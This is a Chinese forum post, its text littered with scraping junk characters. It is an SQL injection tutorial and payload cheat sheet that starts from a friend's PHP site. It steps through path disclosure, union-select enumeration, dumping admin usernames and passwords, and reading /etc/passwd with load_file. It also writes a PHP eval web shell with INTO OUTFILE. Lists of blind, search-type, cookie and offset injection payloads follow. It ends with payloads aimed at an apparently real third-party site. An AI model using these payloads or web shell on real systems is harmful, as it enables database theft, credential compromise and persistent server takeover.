我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~: N' a& M; v: Y+ R
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?% f0 _5 N' {8 m8 N, G2 J2 X5 t
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。" q- R9 ^; x M9 W' d# v9 G
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
1 `: X. H& V1 O8 c( E1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)" Y0 M" ]1 | y& |2 s
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
+ [1 m9 j6 ~& P0 P( J0 k8 zWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
. m4 q# S' r$ k+ t+ k. F4 V$ H/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入, S) h4 W. a+ o. A9 o8 {4 V x
1 r) x3 r$ F) R! l9 v1 @
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,9 g! @# u- C4 o* s# m
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意" s" ]7 _, m* D5 N- W
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息# o/ I# {( J( r3 i3 E5 ^
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。8 ?, F% t y% f; R1 ]/ l" B
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
6 b2 F: l' P& @. w3 t2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。4 {% i5 }2 }1 K' M" ~# K
我就用的是第二个思路,* d# b* u" x1 T2 w/ v, M
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- # [9 A& h9 R+ }, W' ^3 ]8 W
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,! g2 S- l5 w6 n7 J
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
6 [5 B3 z7 w" y注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。3 S( L$ a" [ i7 Z* h- N# s4 n2 x
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????5 m# K/ C- f, y, \. }
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....$ E; J8 ^3 Y: b, p
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --: o X; l3 m' A7 w5 D1 o* n* a
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
( ]5 ]% i" V9 m* `! J+ ]调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......( ?9 s; n2 H j0 ^9 ^( I, O3 ]. E
下面是一些很普遍注入方式资料:
) @; o9 V4 B3 x6 m# d, h9 a5 R& U注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
! v6 c2 J: B% _5 M; p7 ]0 _% e# L拆半法5 x9 K: v. p1 b% A
######################################7 g& E- M) Y) d; M# g2 C
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
' P& X3 |1 ^* h, c: T* L( R* Land exists (select * from admin)% F+ A+ r9 D: k2 {; ?8 d% \5 F
and exists(select id from admin)
4 U% ]" w' X: }% f9 K* g5 Band exists(select id from admin where id=1)
, J& { R" S4 P( W3 y |and exists(select id from admin where id>1)
! g" u' C1 T- X8 L0 Q3 u1 ?. k& P然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 2 Y1 @: k; o6 f) L0 L" I
and exists (select username from admin)* A8 |" C- q2 m
and exists (select password from admin)1 J) z# P$ T* o& U
and exists (select id from admin where len(username)<10 and id=1)
. }2 b$ w: J+ H/ l. _/ H7 }2 sand exists (select id from admin where len(username)>5 and id=1)2 [4 q7 z8 E! K* v/ h# k
and exists (select id from admin where len(username)=6 and id=1)
F6 l% t8 ~& e. T5 c3 F6 @" Mand exists (select id from admin where len(password)<10 and id=1)
S4 |) T$ k0 g) _and exists (select id from admin where len(password)>5 and id=1)
5 N6 o& m, }9 r% tand exists (select id from admin where len(password)=7 and id=1)9 O5 B4 D6 M0 s, m6 L! U# w
and (select top 1 asc(mid(username,1,1)) from admin)=97% A# V6 S9 f% _3 v* Y" D
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
$ F' I- c9 M' N猜第二位把username,1,1改成username,2,1就可以了。4 ~* x: y) d# v8 j# u$ K
猜密码把username改成password就OK了
8 Y: l) r1 E& @# Q##################################################
- B% s+ J) c3 w5 T3 j搜索型注入; Z9 A. v/ p4 m/ b
##################################
" Z; E3 r3 S; T! c8 d%' and 1=1 and '%'='
8 j5 V+ | x% A. [5 \%' and exists (select * from admin) and '%'=') m% X/ _" X; {0 f& J
%' and exists(select id from admin where id=1) and '%'='# Q2 P! B& N7 v7 ]0 R' }4 z0 H% E
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='0 Z, }+ V6 ^4 t4 u3 u% Q
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
4 w) z9 u5 }9 l9 I+ G4 B1 v1 o _%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
( G& s* [ ]* X- R, u' B1 D这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
: Z6 ?. [' }/ e8 Y6 b3 o对于MSSQL数据库,后面可以吧 and '%'='换成--
8 x" _0 Z: B6 x$ l; E还有一点搜索型注入也可以使用union语句。) t0 [0 @% o& {; H: F
########################################################$ ^" T4 T' D! r
联合查询。
( K; h% r; q' f; b% n#####################################
; i2 C) w8 H6 i* norder by 10
2 |0 ?) a9 e+ {3 A8 i3 V! Rand 1=2 union select 1,2,3,4,5,6,7,8,9,10
$ a: M2 V: S$ A( B$ land 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
9 u& n& c! X: O2 w7 Nand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
3 g3 {/ r% V. n: Y; B很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)5 a) T+ e1 Y. x
###################################
! \/ z/ E+ Z( l" H8 Ncookie注入
, J0 o0 }! G( o###############################+ ]' Z( i/ P7 I! a2 h
http://www.******.com/shownews.asp?id=127/ [+ u1 P/ D. X
http://www.******.com/shownews.asp0 }& h& V2 }7 _) {6 p) C
alert(="id="+escape("127"));
" A/ g) B8 S7 S# q- galert(="id="+escape("127 and 1=1"));
4 Z* _& r( e7 k- ealert(="id="+escape("127 order by 10"));; x: Z6 s+ A% Q* K1 ^/ W
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 C+ M8 e# w8 G: B2 Malert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));' ^0 n# ^6 p' ?/ W
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
1 j" A ~+ v3 K' z' T1 U' z2 C###################################9 ~+ K3 [: T7 s* W1 ^+ t3 R p- V
偏移注入
4 F B* n: C% x3 }8 g8 Z###########################################################
- e( _8 e: `$ Q/ f7 tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin2 N L6 r5 r- a( V2 ]) s2 M
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* Q. V |1 Z* u* j% Wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)1 @: ]1 J' |$ k/ Q" c: A# N" o7 e
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
& I* ?2 H/ s9 P6 Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)3 ~) F0 k% O ~
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id): ^- m C2 a2 R" V% G! v3 ?
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
* p/ @ W4 K+ ua.id=d.id)! s3 ~; U5 w5 D4 ^2 E
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)$ q! \. L6 p- G8 [% F7 W) p: o
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) / G4 E% K7 e9 r5 ~
. z( X# ^; ~! W# U: d
============================================================================================================, h$ A8 | F j; ~7 `$ `
1.判断版本! t7 l# Z. |0 v$ {; I! U
and ord(mid(version(),1,1))>510 [; f$ ^) k% r/ v, o' a
返回正常,说明大于4.0版本,支持ounion查询
6 O# B7 d1 T& i6 O% @4 V! R2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解9 a% V0 P% w2 z' B: @/ `6 j
and 2=4 union select 1,2,3,4,5,6,7,8,9--
$ g0 A5 ^, a0 T ]+ t3.查看数据库版本及当前用户,' B5 [5 A3 P% E7 N5 h! [: B; G
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
% v4 Q; k) M4 E1 \2 Q4 D数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,( G( C1 x6 y9 X6 C w( c
4.判断有没有写权限2 L/ @. O( s0 ?) ?2 l7 H- `% v
and (select count(*) from MySQL.user)>0--
3 w+ p+ d; r( C& O% _% L5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
8 l/ g9 y$ |/ V9 l& q/ r& X! }用不了这个命令,就学习土耳其黑客手法,如下
' I, A/ G5 c) g! w8 ]4 l' Gand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
) t/ t- Z( k+ C! R$ V8 n6.爆表,爆库
4 k8 U6 o+ t' X6 _4 f# I$ y2 ^* fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
9 ^8 t" \; O2 n2 q7.爆列名,爆表
; X: @7 k7 [5 }& \, Dand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
9 r5 ^1 V1 |" ]- V. @8.查询字段数,直接用limit N,1去查询,直接N到报错为止。 F" H& S+ x; n% T( ~6 x7 W- q
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--' M m2 g6 T; q) ^4 S5 [7 D. H
9.爆字段内容
' t$ J0 D9 W q% B3 h' h. Y3 [) l- Tand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
! d2 o0 Z6 Z1 o j% h2 F: ihttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |